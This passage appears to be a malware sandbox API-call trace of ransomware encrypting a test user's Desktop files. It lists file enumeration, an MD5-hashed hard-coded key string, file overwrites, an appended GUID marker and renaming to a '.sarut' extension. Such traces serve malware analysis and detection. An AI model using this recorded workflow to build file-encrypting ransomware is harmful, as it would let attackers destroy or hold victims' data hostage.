lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa948820, ftCreationTime.dwHighDateTime=0x1d4cfb8, ftLastAccessTime.dwLowDateTime=0xef376940, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0xef376940, ftLastWriteTime.dwHighDateTime=0x1d4d4a7, nFileSizeHigh=0x0, nFileSizeLow=0x25ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HDxPsHkhhG.jpg", cAlternateFileName="HDXPSH~1.JPG")) returned 1 [0268.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.005] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.005] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HDxPsHkhhG.jpg") returned=".jpg" [0268.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HDxPsHkhhG.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hdxpshkhhg.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.007] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=9643) returned 1 [0268.007] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.009] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2585, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.010] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.011] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.011] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x25ab, lpOverlapped=0x0) returned 1 [0268.011] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.011] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.011] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.011] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.011] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.012] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.012] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.012] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.012] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.012] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.012] GetLastError () returned 0x0 [0268.012] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.013] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.013] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25b0) returned 0x311d708 [0268.013] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.013] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x25a6, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x25a6, lpOverlapped=0x0) returned 1 [0268.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.013] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x25ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.013] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.013] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.014] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.014] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.014] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.014] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.014] CloseHandle (hObject=0x5c4) returned 1 [0268.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.016] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HDxPsHkhhG.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hdxpshkhhg.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HDxPsHkhhG.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hdxpshkhhg.jpg.sarut")) returned 1 [0268.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.017] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.018] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c66ba0, ftCreationTime.dwHighDateTime=0x1d4d23c, ftLastAccessTime.dwLowDateTime=0xb1199a00, ftLastAccessTime.dwHighDateTime=0x1d4d0da, ftLastWriteTime.dwLowDateTime=0xb1199a00, ftLastWriteTime.dwHighDateTime=0x1d4d0da, nFileSizeHigh=0x0, nFileSizeLow=0x86e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i1wOhL3vMDC.gif", cAlternateFileName="I1WOHL~1.GIF")) returned 1 [0268.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i1wOhL3vMDC.gif") returned=".gif" [0268.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i1wOhL3vMDC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i1wohl3vmdc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.019] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=34531) returned 1 [0268.019] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.021] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.022] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.023] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.023] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x86e3, lpOverlapped=0x0) returned 1 [0268.023] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.023] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.023] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.023] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.024] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.024] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.024] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.024] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.024] GetLastError () returned 0x0 [0268.024] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.024] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x86e0) returned 0x311d708 [0268.025] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.025] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x86de, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x86de, lpOverlapped=0x0) returned 1 [0268.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.025] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.026] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.026] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.026] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.026] CloseHandle (hObject=0x5c4) returned 1 [0268.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.029] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i1wOhL3vMDC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i1wohl3vmdc.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i1wOhL3vMDC.gif.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i1wohl3vmdc.gif.sarut")) returned 1 [0268.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.031] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.033] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f83fb0, ftCreationTime.dwHighDateTime=0x1d4cfc7, ftLastAccessTime.dwLowDateTime=0x210b6c40, ftLastAccessTime.dwHighDateTime=0x1d4d378, ftLastWriteTime.dwLowDateTime=0x210b6c40, ftLastWriteTime.dwHighDateTime=0x1d4d378, nFileSizeHigh=0x0, nFileSizeLow=0xccba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ig-pKA.docx", cAlternateFileName="IG-PKA~1.DOC")) returned 1 [0268.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.033] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ig-pKA.docx") returned=".docx" [0268.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ig-pKA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ig-pka.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.034] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=52410) returned 1 [0268.034] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.036] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xcc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.037] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.037] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.038] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.038] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xccba, lpOverlapped=0x0) returned 1 [0268.038] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.038] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.038] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.038] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.039] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.039] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.039] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.040] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.040] GetLastError () returned 0x0 [0268.040] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.040] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xccc0) returned 0x311d708 [0268.042] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.042] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xccb5, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xccb5, lpOverlapped=0x0) returned 1 [0268.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.043] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xccba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.043] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.043] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.043] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.044] CloseHandle (hObject=0x5c4) returned 1 [0268.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0268.048] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.048] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ig-pKA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ig-pka.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ig-pKA.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ig-pka.docx.sarut")) returned 1 [0268.049] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.049] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.050] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.050] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff670eb0, ftCreationTime.dwHighDateTime=0x1d4c67e, ftLastAccessTime.dwLowDateTime=0x18358c0, ftLastAccessTime.dwHighDateTime=0x1d4c9d1, ftLastWriteTime.dwLowDateTime=0x18358c0, ftLastWriteTime.dwHighDateTime=0x1d4c9d1, nFileSizeHigh=0x0, nFileSizeLow=0x1763a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iPCx0KzGTdc.mp3", cAlternateFileName="IPCX0K~1.MP3")) returned 1 [0268.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.050] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.050] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iPCx0KzGTdc.mp3") returned=".mp3" [0268.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iPCx0KzGTdc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ipcx0kzgtdc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.051] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=95802) returned 1 [0268.051] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.054] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.054] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.054] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.055] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1763a, lpOverlapped=0x0) returned 1 [0268.055] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.055] 